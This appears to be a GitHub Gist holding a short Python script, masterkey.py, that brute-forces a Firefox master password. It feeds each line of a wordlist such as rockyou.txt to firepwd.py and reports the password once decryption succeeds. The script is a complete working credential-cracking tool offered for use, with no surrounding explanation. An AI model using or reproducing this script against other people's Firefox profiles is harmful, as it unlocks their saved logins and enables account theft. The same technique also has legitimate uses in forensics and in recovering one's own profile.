Created
November 13, 2018 11:08
-
-
Save fb11/0097ee886d74cd95227c7f3b184d772f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import sys | |
| from subprocess import Popen, PIPE | |
| #Usage python masterkey.py rockyou.txt | |
| f = open(sys.argv[1], 'r') | |
| for line in f: | |
| password = line.strip() | |
| p = Popen(['./firepwd.py','-p',password,'-d','./'], stdout=PIPE) | |
| output = p.stdout.read() | |
| if output.find('decrypting') != -1 : | |
| print "[+] master Password: " + password | |
| sys.exit(0) | |
| print "[-] Failed with Master password: " + password |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment